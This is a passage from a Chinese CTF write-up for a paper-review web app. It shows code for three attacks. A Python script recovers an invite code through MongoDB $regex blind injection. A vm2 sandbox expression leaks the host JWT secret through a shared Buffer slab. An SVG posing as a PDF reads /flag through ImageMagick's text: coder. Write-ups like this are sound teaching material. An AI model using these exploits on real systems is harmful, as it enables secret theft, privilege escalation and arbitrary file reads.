{ upsert: true }
);

这里会根据有没有查找到返回不同的状态码:

1
2
3
4
5
6
7
8
9
10
11
if (rubric && slotQuery) {
const invite = await reviewerInvites.findOne(slotQuery);
matched = Boolean(invite && submittedProfileMeetsRubric(submitted, rubric));
}

const sync = {
status: matched ? 'matched' : 'waiting',
message: matched ? 'Committee service desk has an available assignment slot.' : 'Committee service desk has not found an assignment slot yet.',
recordId: packet ? packet.recordId : latestRecord ? latestRecord._id : null,
updatedAt: now
};

所以可以根据盲注的知识,来爆出全部的邀请码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
HEX = string.hexdigits.lower()[:16]
INVITE_CODE_LENGTH = 36

def probe_invite_code(self, candidate):
remaining = INVITE_CODE_LENGTH - len(candidate)
pattern = f"^{candidate}[0-9a-f]{{{remaining}}}$"
self.save_reviewer_profile({"$regex": pattern})
return self.service_sync_matches()

def recover_invite_code(self):
self.save_reviewer_profile("not-yet-assigned")
self.submit_reviewer_profile()

known = ""
while len(known) < INVITE_CODE_LENGTH:
for ch in HEX:
candidate = known + ch
matched = self.probe_invite_code(candidate)
print(f"[invite] {candidate:<{INVITE_CODE_LENGTH}} {matched}", flush=True)
if matched:
known = candidate
break
else:
raise RuntimeError(f"could not recover invite code after prefix {known!r}")

return known

拿到 Reviewer 之后,我们就可以执行 vm2 的操作了,然后 PDF 的渲染需要论文是 AC 的状态:

1
2
3
4
5
6
7
8
9
10
return render(request, reply, 'papers/view.ejs', {
paper: {
...paper,
publicId: paper._id.toString().slice(-8).toUpperCase()
},
reviews: decoratedReviews,
canSubmitForReview: isOwner && paper.status === 'Registered',
canPrepareCameraReady: isOwner && paper.status === 'Accepted', // AC才能触发convert
message: request.query.registered ? 'Paper registered. Submit it for review when the PDF is ready for the PC.' : ''
});

而 AC 需要管理员才能审批:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.get('/admin/papers', { preHandler: auth.requireRole('admin') }, async (request, reply) => {
const { papers } = collections();
const rows = await papers.find({}).sort({ createdAt: -1 }).toArray();
return render(request, reply, 'admin/list.ejs', { papers: await decoratePaperRows(rows) });
});

app.get('/admin/papers/:id/status', { preHandler: auth.requireRole('admin') }, async (request, reply) => {
const paper = await paperWithOwner(request.params.id);
if (!paper) return reply.code(404).send('Not found');
return render(request, reply, 'admin/editStatus.ejs', { paper, statuses: config.decisionStatuses });
});

app.post('/admin/papers/:id/status', { preHandler: auth.requireRole('admin') }, async (request, reply) => {
const { papers } = collections();
const paperId = asObjectId(request.params.id);
const status = config.decisionStatuses.includes(request.body.status) ? request.body.status : 'Rejected';
if (paperId) {
await papers.updateOne({ _id: paperId }, { $set: { status, decidedAt: new Date(), decidedBy: request.user.username } });
}
return reply.redirect('/admin/papers');
});

所以下一步就需要获取管理员权限

我们在前面不难知道,程序会校验 JWT,但是 JWT_SECRET 是随机生成的:

1
2
jwtSecret: process.env.JWT_SECRET || `aaa26_${crypto.randomBytes(24).toString('hex')}`,
adminPassword: process.env.ADMIN_PASSWORD || crypto.randomBytes(16).toString('hex'),

所以我们有没有可能尝试爆出这个 Secret 或者是 Password?

Buffer.from(arrayBuffer) 不复制数据,而是创建一个共享底层内存的 view;如果传入的是某个 TypedArray / Buffer 的 .buffer,新的 Buffer 可能覆盖比原 view 更大的底层 ArrayBuffer 范围

比如说:

1
const slab = Buffer.from(Buffer.from("x").buffer).toString("latin1");

首先 Buffer.from("x") 只有一个字节,但是 Buffer.from(Buffer.from("x").buffer) 会重新包装 ArrayBuffer,于是长度变成了 8192,再加上 vm2 内与 host 共享的 Buffer slab,就可以泄露出原 host 里的 JWT Secret,但是哪里可以执行这样的 slab ?

1
2
3
4
5
6
7
async function filterReviewerDocuments(app, request, expression) {
const token = getBearerOrCookie(request);
const docs = await reviewerDocuments(request.user);
const verified = await app.jwt.verify(token);
if (!verified || verified.id !== request.user.id || verified.role !== request.user.role) {
throw new Error('invalid token');
}

这里进行了一个 verify 的校验,而 fastify/jwt 中 verify 的源码提到:

1
2
3
4
5
6
7
8
9
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') /* <=== sink <=== */
} else if (!(currentKey instanceof Buffer)) {
...
}

const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
verifyToken(currentKey, decoded, validationContext)

这是实际 secret 进入 Buffer 的地方,再加上 JWT Secret 有明显的特征,可以构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SECRET_PREFIX = "aaa26_"
SECRET_LENGTH = len(SECRET_PREFIX) + 48

def js_string_from_char_codes(value):
return "String.fromCharCode({})".format(",".join(str(ord(ch)) for ch in value))

def secret_probe_expression(candidate):
remaining = SECRET_LENGTH - len(candidate)
return f"""
(() => {{
const slab = Buffer.from(Buffer.from("x").buffer).toString("latin1");
const prefix = {js_string_from_char_codes(candidate)};
const rx = new RegExp(prefix + "[0-9a-f]{{{remaining}}}");
return rx.test(slab);
}})()
"""

最后就是用 PDF 进行攻击了

imagemagick.org/include/command-line-processing.php

虽然你上传的是 PDF,但是因为 ImageMagick 会先识别里面的 signature,所以最终也不是按照 PDF 解析

1
2
3
4
5
6
7
<svg width="480" height="150">
<rect width="480" height="150" fill="white"/>
<svg x="0" y="38" width="480" height="112" viewBox="20 24 560 70" preserveAspectRatio="xMinYMin meet">
<image href="text:/flag" xlink:href="text:/flag" x="0" y="0" width="612" height="792"/>
</svg>
<text x="18" y="30" font-size="18" fill="black">AAA'26 Big-1 Camera Ready</text>
</svg>

比如你上传一个 SVG,利用里面的 text:/flag 进行读取

最后能切出类似的效果,源码看一下就可以看完整了:

RealDLsite

11

TINJ

11